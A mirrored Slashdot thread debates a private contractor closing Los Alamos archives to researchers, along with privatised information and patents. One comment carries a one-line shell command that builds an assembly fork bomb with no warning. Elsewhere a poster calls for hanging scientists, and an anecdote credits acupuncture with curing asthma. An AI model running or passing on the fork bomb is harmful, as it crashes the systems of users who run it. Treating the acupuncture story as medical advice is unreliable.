Slashdot Mirror
Privatization Limiting Access To Information
Knutsi sends us to the Federation of American Scientists' blog Secrecy News for a post on how privatization can affect access to research material. The blog tells how a Harvard researcher on the history of nuclear secrecy was denied access that would have been granted in the past. Some followup is in the comments to this reposting of the FAS story. "Los Alamos National Laboratory will no longer permit historians and other researchers to have access to its archival records because Los Alamos National Security (LANS), the private contractor that now operates the Lab, says it has 'no policy in place' that would allow such access."
They also sank the Titanic.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
funded by public money, there should always be public access.
If it weren't privatized, they'd just claim the information is a matter of national security and still refuse to release it.
In fascist America, the company owns you (and your government)
Blah blah sig blah blah blah irony blah blah
LANL does work on weapons. It seems like erring on the side of not giving out information will inconvenience some researchers but it might be a good thing for everyone else. And as someone pointed out, most of this information needed Q clearance even before privatization, which most researchers don't have, so the number of people inconvenienced is rather small.
Given the rumours of spies from China getting hold of US secrets like the design of the W88 warhead from LANL, maybe less access is a good thing. Seems to me that now that nuclear weapons tests are rare, it will be hard for other countries to make small warheads like this other than by copying an existing design. So stopping any information coming out of LANL is in the interest of the US.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Now it's all about policy and bottom line. That's privatisation for you. It works wonders with inefficient utilities and such but this? By placing such restrictions, they are nipping the very root from which such institutions begin.
As a researcher in trying to integrate knowledge I find this more and more dissapointing. Where the research community is advocating a share model, companies like this come along and remove information from the public domain.
This introduces difficulty as a researcher as this is now a void over which we need jump in order to create new knowledge. As more and more companies become contractors for the government it will ensure that not only researchers but the public will have to pay for information which may be necessary for the growth and understanding of the community as a whole.
It is time for the government to realise that the public should come first and ensure that these types of restrictions do not occur in the future and if possible to revoke those that have already occured.
1) On multiple previous occasions, security has been found lacking.
:)
2) A decision was made to contract out work to a more capable party.
3) Improved security procedures can be less convienient for some.
Security is a balancing act. Example, you could require all password lengths to be greater than one character in order to improve security, but longer passwords are more difficult to memorize. Upon implimentation of this new security requirement you can bet someone will complain. Wah!
As a researcher, I can tell you flat out that the privatisation of information is putting up serious barrier to the work I do. Aside from prohibitively high prices on journal papers, etc, many old papers, experiments and historical documents are under lock and key, with the private companies that hold onto them totally unwilling to go to the (minor) expense of open up their archives. Such papers have effectively dropped off the face of the earth, and when those companies go under or dissolve or simply move headquarters, it's likely that the papers will in truth become lost forever.
Try to find scientific articles or papers before about 1960. It's a nightmare. Aside from paying about $50-60 if you do find anything, finding it will be a challenge. Go back to the 50's and you're in trouble. The 40's is pretty bleak. You can find more papers on ancient Egypt than you can from the 1930's.
It's possible that you can find old articles in Libraries, if you're willing to try about a dozen libraries. But many libraries are "downsizing" their paper collections(for financial reasons brought on by high journal prices). You can try an inter library loan but there are incredibly stringent copyright signoffs for every single item.
Books are not so bad. Libraries usually have good collections, and book publishers don't seem to be as rabidly concerned with copyright as journal publishers. If the material you want is in a book, you're OK. The book can have been published in 1700 and you'll still be able to find a copy relatively easily, and cheaply. Paper's from the 1700's, except seminal ones, probably have all been lost by now.
Private companies cannot be trusted to archive material. I really cannot put it plainer than that. If we place our scientific data, history and writings in the hands of private industry future generations will speak of a "Dark Age" in the 20th century, where apparently a lot was accomplished, but there will simply be no record of it. Our books aren't getting burned, they're getting privatised, a much surer method of destruction.
May the Maths Be with you!
duh.... Don't you know the whole purpose of the privitization of government is to end-around the constitution?
It's a good thing that governments have never ever researched nuclear weapons, otherwise they would have to post bomb making instructions on the internet. For those hiding in caves without internet access, they could send a self-addressed stamped envolope requesting the exact plan they would like.
Dear America,
please send me instructions for one ICBM missle.
Allhu Akbar, Osama.
In my case I can no longer access the former research library of my own institution, now stored in a public/governmental one. Anything older than 150 years ago, since a few years back, is in a restricted area with no access, even to researchers. Only librarians with white Mickey Mouse cotton gloves may touch the books... I said I can use that too, just to copy some paragraphs.No, that would be too time consuming as they were not allowed to let me sit there for so long time... And photocopying is a no-no too. Catch22. Fortunately, we had some money over and invited the head librarian to coffee. Suddenly, Sesame. Sick.
I do agree it can be irksome that you can't tell folk about your work - I've written more papers than I can count for my previous employer - they fill more space that a CD provides - yet I'll never be able to show them to anyone outside of the company, or have them cited in public publications, because they're commercially sensitive and would be easily exploitable by competitors for profit.
However, working for a private company does free you from the waste endemic in universities, and provide greater opportunity and increased freedom for many people.
Privatisation is not all bad.
In Capitalist West you will never get data about nuclear factory.
In Soviet Russia nuclear factory will always release data about you.
Domestic spying is now "Benign Information Gathering"
Everyone is so quick to demand privacy, but aren't as quick to allow other entities like businesses, governments, and other organizations the right to the same privacy. However, privacy is a tricky issue. The US Constitution never mentioned the right to privacy and I'm sure that the founding father's would've found it laughable if someone mentioned it to them. We in America are guaranteed our right to live the way we want as long as it doesn't infringe on someone else's rights or on mutually agreed upon laws. Doesn't mean that the government can't know about how you live your life. It just can't interfere with it if its not against the law. I'm not defending any position mind you. But, if you deserve the right to withhold information from the government so do they. Not all knowledge is in your best interest.
Why can't he just kick them in the pants with an FOIA*? Just because it's been contracted out doesn't exempt them from those rules, AFAIK. Unless the material has some secrecy about it, it's free for him to request. Their claims of lack of procedure means nothing in the face of the proper paperwork. It basically turns it from "you don't have a process for that" into "you will have a process for that because the federal government mandates it." Sure, it's an unnecessary inconvenience, but that's what bureaucracy is all about. One should expect nothing less when interacting with any governmental body, no matter how small the task.
*For the uninitiated, the Freedom Of Information Act allows you to formally request documents from any arm of the government. They must comply or give a really shiny excuse, like confidentiality, national security, etc.
It's amazing how everything can be turned into a business.. The sad thing is, that the companies seek to protect their interests not the humanity's, which in the end pays for it. It hardly leads to savings, when the government functions are maintained by a mesh of private companies, which all seek to profit from the business of governing...
Yeah, Iceberg; it's such a giveaway!
Wikileaks, no DNS
...that the "private entity" shield is used.
These people take it all the way to the bank.
Twitter supports and protects racists - by smearing their critics with the "Hate Speech" label.
If you live in Ireland (guessing from your email address), perhaps you should visit the largest research library in Ireland at Trinity College, Dublin. Non-members can make a case to be allowed to use the library.
Next time, elect a president who shows a minimum level of intellectual curiosity.
Next time, elect somebody who doesn't view intellectual freedom, with its open and vigorous disputes, as treasonous.
Next time, elect somebody who looks at uncomfortable facts as an opportunity to form a more accurate and mature world view, not a threat to his personal authority to define reality.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
We shouldn't forget the spate of recent security lapses at Los Alamos. I think it is very likely that the new management may be of the opinion of "turn it all off until we get written direction from DOE."
Mod parent up -- he has a point. The rush to develop nuclear weapons in the 40s, 50s, and 60s was marked by an almost callous disregard for the environment. They really *did* make a mess, especially at Hanford, Rocky Flats, and Oak Ridge. Less so at the national labs themselves, perhaps, but who really knows.
Not to mention that we nuked ourselves -- repeatedly -- in the 50s. There was simply no excuse for the continuation of above-ground testing at the Nevada site until 1963. The history of the nuclear weapons program is sad and disgusting (though I have to say that the Russians were even worse than us).
-b.
DAFIF was a free listing of every aviation facility on the planet: runways, airports, navaids, beacons. One day the US NGIA who compiles it pulled the plug on public access. They said some 'foreign content providers' had claimed copyright on their portion of the data. Instead of distributing a partial worldwide database (which would be kind of useless), they thought "screw it" and dropped public access. Not just US citizens lost out on this, but the whole world did.
Who did this affect? Everyone in Aviation.
So who was behind it? They wouldn't say at the time.
Turns out it was these little greasers: Air Services Australia. They did it because they wanted to rip off Australian Aviators, and they couldn't do that while the US made available an aviation database for free. This is one of these government organizations which pretends to 'privatize'. You get these pompous, stuffed-shirt public servants who think they built an organization from the ground up, when they were really handed something build from public money and said 'charge everyone'. So, Air Services Australia: Thanks a lot.
http://www.fcw.com/article91698-12-12-05-Prin
http://en.wikipedia.org/wiki/DAFIF
http://www.airservicesaustralia.com/
Under the USC government doesn't copyright their products: citizens already paid to produce it with their taxes. In Australia and Britain, there is a long tradition of fleecing the public.
-b.
It all dates back to Ronald Reagan and the push to "run universities like businesses". That's when the privatization of university results went wild.
By now, there should be a whole generation who has never thought of universities as anything else.
The privatized, government funded labs should be required to submit their research results to the Library of Congress for centralized, public archival. And be required to do so in a timely manner.
If someone is passing you on the right, you are an asshole for driving in the wrong lane.
Contractors don't distribute data because they don't set policy, that's the government employees job. No employees you say? Then who's supervising the contractors? There is supposed to be some government over site, in not taking care of that over site somebody's not doing their job. No surprise when it comes to government.
If someone is passing you on the right, you are an asshole for driving in the wrong lane.
It' just the next logical step. We've progressed from a manufacturing-oriented society to a service-oriented society, and are moving toward an information-oriented society. As goods and services decline in value, it's only natural for information to increase in value, and for people to start controlling what information they give out to whom.
http://www.ucnuclearfree.org/blog/bidforbomb.html
I've been talking this up the past month... it's pretty outrageous to think that our Nuclear Weapons are now made by a for-profit company.
Of course, right now, when GE wants more money to build props for Nuclear Subs.... they just leak the blueprints to a foreign company and our subs become obsolete and trackable. So the government shells out more money to GE for new props. Everybody wins!
But this has to top the list of Greedy+Stupid;
https://freeinternetpress.com/story.php?sid=11373
2007-04-17
More than 500 security guards at the United States' only nuclear weapons assembly plant walked off the job just after midnight Monday to protest what they said is a steep deterioration in job and retirement security since the government changed fitness standards for weapons-plant guards in response to the Sept. 11, 2001, terrorist attacks.
The contractor at the plant, BWXT Pantex in Carson County, Texas, replaced the striking guards with a contingency force that it says will secure the plant's weapons, nuclear materials and explosives as long as necessary. The issue is not confined to Pantex because guard union leaders at other weapons plants also are raising concerns about the new security requirements, which they say will force many older guards out of their jobs.
Congressional Democrats criticized the Energy Department for not acting to resolve the guards' concerns in time to avert a strike.
"This employment instability not only raises the potential for significant costs to the American taxpayer, but also raises serious nuclear security concerns," said U.S. Rep. Bart Stupak (D-Michigan), who chairs the oversight subcommittee of the House Energy and Commerce Committee.
>> The whole point of the "Privatization better known as Crony Capitalism" is to limit research and to privatize science. At the EPA, they were selling off the shelves for all the research labs. Much of the private repositories of environmental data are now gone -- and it is a lot of work for even scientists working at the EPA to find out; "what was the level of lead in the Savannah river in 1980?"
For instance, if the only repository for Lung cancer data, were at Phillip Morris, do you think they would have had to suffer all those lawsuits for knowingly sellining an addictive and cancerous product?
>> The other part of this that really sucks, is that it's for patents. The ban on Stem Cell Research, doesn't mean that private industry has stopped researching -- it just means that the research isn't done by the government, and available to everyone -- including Universities. So the argument about snow flake babies, that gets people all excited has nothing to do with it -- it's so Johnson & Johnson will OWN the next patent on a stem cell treatment as soon as they can find a way to make it proprietary.
When was the last time we had a CURE for anything? All we get now is treatments that cost just enough that we will cough up the bucks so that we don't have to deal with the misery of going without. Any cheap birth control or Asthma treatments?
They are going to keep doing this until some really, really bad disaster befalls us. But we won't know how it happened, because a company like BWXT Pantex won't be required to keep records of who they sell weapons to. I know that sounds far-fetched, but how many times have we heard well-dressed men running agencies for this government stand before the public and say; "My dog ate it... it could happen to anyone... nobody could have anticipated a breach of the levies." Yes, and people were screaming that the levies were 18" below sea level and the government stopped paying for the project years ago -- but hey, who reports that sort of information anymore when Paris Hilton might have to lose her driver's license?
>>"ad space available -- low rates!!!"
"The most effective way to restrict democracy is to transfer decision-making from the public arena to unaccountable institutions: kings and princes, priestly castes, military juntas, party dictatorships, or modern corporations." -- Noam Chomsky
It's the same trick -- in this case, it's access to information rather than direct decision-making power, but since wielding that power requires information, restricting access to it amounts to the same thing.
"Convictions are more dangerous enemies of truth than lies."
You mean information like how you are hungry because you cannot eat your information? Productizing information is not working. For example; MPAA, RIAA vs P2P.
Every major discovery in science is based on previous scientific work.
t ml
Every scientist stands on the shoulders of giants...
As research money has become scarce it has come with more strings attached, usually courtesy of business interests, strings which limit sharing.
Privatization of information and control through restricted access or patents is perhaps one of the biggest threats to science and technology in this century.
As an example, A short look at the state of patent laws and its effects on medical research should terrify almost anyone. New drugs and cures are not being researched because patent rights for possible solutions cannot be acquired. Lawyers are now dictating the direction of research. The results are a staggering decline in the development of new drugs, and a focus on drugs that are profitable, rather than drugs that address a real medical crisis or illness. Artificial monopolies (created through patents) are driving prices through the roof and making medicine unavailable millions of people (including US citizens).
eg.:
http://www.aidsnews.org/2005/06/patent-gridlock.h
Ultimately you are correct that as information becomes more important people will try to control it. Unfortunately this thinking is due to and outdated and incorrect understanding that thinks of "information" as a physical product.
With real physical products and goods sharing leads to a reduction in wealth of the individual sharing. If I give you half of my sandwich I have less to eat. This is ingrained in every business person in business school (profit = revenue - costs). Any giving away of goods leads to a loss of revenue and hence a decrease in profit.
Unfortunately this model does not hold for information! In most cases sharing information leads to increased understanding by both parties sharing the information, which often leads to new ideas and an increase in wealth for everyone involved.
Sharing information does not lead to a loss of wealth. This is were our leaders (mainly business people) are simply wrong in using an old model for a new problem.
Open source development of software is perhaps the strongest example of where sharing has lead to the enrichment of each of the individual contributers. Apache, Linux and many other extremely successful software projects owe their success to open collaboration and sharing of information.
The scientific process is not different in its dependence on the relatively free flow of information. The evolutionary step by step development of technologies and scientific understanding arises primarily and most efficiently out of the sharing of ideas between capable researchers.
Lack of sharing results in duplicated work, unsolved problems (solved by some one else but not shares), and even worse cases where information is known but cannot be used because of patent liabilities.
All of these inefficiencies will simply mean that countries like the US which are encumbered by outdated patent laws (which need to be changed not struck down)
and private research money with strings attached, will simply fall behind.
Lets face it when business people and lawyers start making decisions about technology and science and ignore long term public benefits in favour of short term quarterly results we are in trouble.
The world has become more complex. Short term business thinking and simple models will not work here. Unfortunately business people are usually the last group to understand when things change (Just look at Global Warming and the reaction of business people vs. scientists).
Personally I am learning Chinese... I think as we in the west fight about who should own what information, the east will simply by pass us to take a global leadership role.
----- "Profanity is the one language that all programmers understand."
Their policy is "NO ACCESS".
Running with Linux for over 20 years!
Second, explain to him that you are doing a study, and that their policy has created a problem.
Third, explain that you have the right to get the information, and that their policyis no so much 'a problem' for you, as instead a delay for you and a serious problem for them.
Fourth, when he asks why is it a problem for him, tell him that if you have reasonable access, you will only ask for about 20 most relevant documents, then maybe follow up with more information on about another 30 other documents that the first 20 led you to.
Fifth, Continue with: But if they continue with their rather short-sighted, annoying, delaying policy, then you will not be able to wait for followup. And therefore will ask for all 3,526 documents that you have identified as being possibly relevant, because you won't have time to ask again so you need all possible documents.
Sixth, ask him is he SURE he is not going to change the policy sometime this week, it would really help you out if you only had to read 20 docs instead of 3,526.
excitingthingstodo.blogspot.com
Don't just stand there! I said, "come in!"
Hello -- Hello?
Nuclear secrets are NOT public access to any scientists. Los Alamos are the traitors who through Clinton, gave your nuclear secrets over to your enemy.
Los Alamos 'scientists' should all be hung together.
When that big, hot, flash burn hits your flesh, or your childrens flesh, for a fraction of a second, you will remember this.
Score & Karma: SASA: Slashdot Approval Seekers Anonymous
Spelling "Los Alamos National Security" (LANS)
Los Alamos
National
Security
If it's full power then restricts it to "National Security".
If another thing is power then prohibits it because of "National Security".
If this isn't powerful then it's not need to be restringed by "National Security".
"National Security" IS fucked power.
"National Security" IS A TACTICAL METHOD that it's valid for the sillyies, dumbs, idiots.
I want power, i want responsabilities too, i want all, but i don't want to pay for my responsabilities like any immune political/militar man.
B.S. Eli Witney died a poor pauper because he colaborated and patented his invention. He should have kept it secret. He didn't and his competition destroyed his business.
Only common ideas are public but original stuff you got to shut about. Like Coca Cola's secret recipe of ingredients. Publish secrets, sell out the farm.
Score & Karma: SASA: Slashdot Approval Seekers Anonymous
Your papers that you are writing aren't for you, they are for BUSH, BUSH, BUSH.
Your investigations that you are doing aren't for you, they are for BUSH, BUSH, BUSH.
Sr. Bush says: hahaha, i've world full power, hahahaha, i've total responsability, hahahaha, i've much money to pay my bad responsabilities, hahahaha, i'm GOD!!!, hahaha.
Bush says: man!, you work for me!
Bush says: woman!, you work for me!
Bush says: sirs and ladies!, you work for me!
Bush says: i can kill to anyone with my order! hahaha!
Hahahaha!
Remember,
...!
Bin Laden is alive or not-dead!
Contractor: Sr. Bin Laden, you can't access to research material because of "National Security"! Are you agree?
Bin Laden: i'm not!
Contractor: fuck you!
Bin Laden: fuck you!
Have you any problem with that Bin Laden has this research material? The debate starts now
Disappointment means your expectations are not being met. That's happening often enough nowadays that we should be moving on to aggravaion, infuriation, and finally, hopefully, action ? I guess the researchers gotta climb out of their ivory tower or at least start throwing bricks out the window sometime, preferably sooner rather than later.
Mod me tangential, please -- but I had an unusual experience with a japanese-style acupuncturist who was treating me for something else, and inserted a needle at the bottom of my neck. Immediately, my lung capacity increased by something like 20%, and a couple seconds later she mentioned, what appeared to be coincidentally, 'That's an asthma point'.
This happened 3 weeks ago and I'm still feeling the increased lung capacity or chest tightness decrease or whatever. About a year ago, when I started treatment for the separate condition, she had mentioned to me (again, incidentally) that she had successfully treated another woman for asthma who was able to completely go off medication. (I'm still taking the asthma meds, but am considering going off them soon).
Each session was all of $70, and a typical run is 6-8 sessions (per her). In my case, as soon as she needled that spot, it was an immediate effect. It's such a strange feeling now to inhale up to the point where I would have to stop before, and then continue inhaling past that point -- particularly during the summer, when I feel like being more active but my asthma has traditionally been more problematic. It's just not an issue anymore.
Frankly, I don't believe sticking a couple needles into your neck can help you breathe better. Which is why I keep taking deep breaths and being surprised when I feel my chest muscles stretch under a lung expansion I haven't felt in years.
The line between "Products" and "Services" is a blurry one, for us simple folk. If you buy an aluminum billet and I machine it for you, it's a service. If I buy it and machine it for you, it's a product. But, of course, we are not talking about services or products, we are talking about information, since you said that "it's just the next logical step,[...]we are moving to an information-oriented society." Unfortunately, this is just an exercise in word-wankery.
you listed your three distinct stages:
1) manufacturing
2) service
3) information
First of all, manufacturing is a service. Second, what are you going to do with information that is not a service? In other words. Everything is a service! In fact, that is the way GDP is defined: basically the sum of all work performed by each person times their effectiveness.
Information is just another product created by performing operations on stuff, AKA work, AKA services. Information, by definition does not have a physical instantiation, but is always paired with one, due to reality constraints, so manufacturing (a service you mentioned) is involved. To create or provide information is a service, so, yeah, services...
Getting back to information, most information is worthless, in that it takes more work to use it than the incremental gain of using it. A lot of what is not useless is either freely available, easier to recreate than to attempt to acquire, or easy to obtain without paying. The more tightly useful information is locked up, the more chance that it will be recreated or unlocked. When it touches the internet hard drive, it is there forever. And of course, like anything else, information only has value when combined with services.
To sum up, I find your distinctions between manufacturing, service, and information-oriented societies to be artificial, superficial, and indicative of a complete lack of understanding or experience in industry. Everything you said was just a rehash of web 1.0 hype which has already been proven wrong to anyone with eyes. Making money at selling information is not working very well for most in the business, so I do not think you can quit your dayjob of spending your parents money while you update your myspace page and pump up your world of warcraft character to sell on ebay.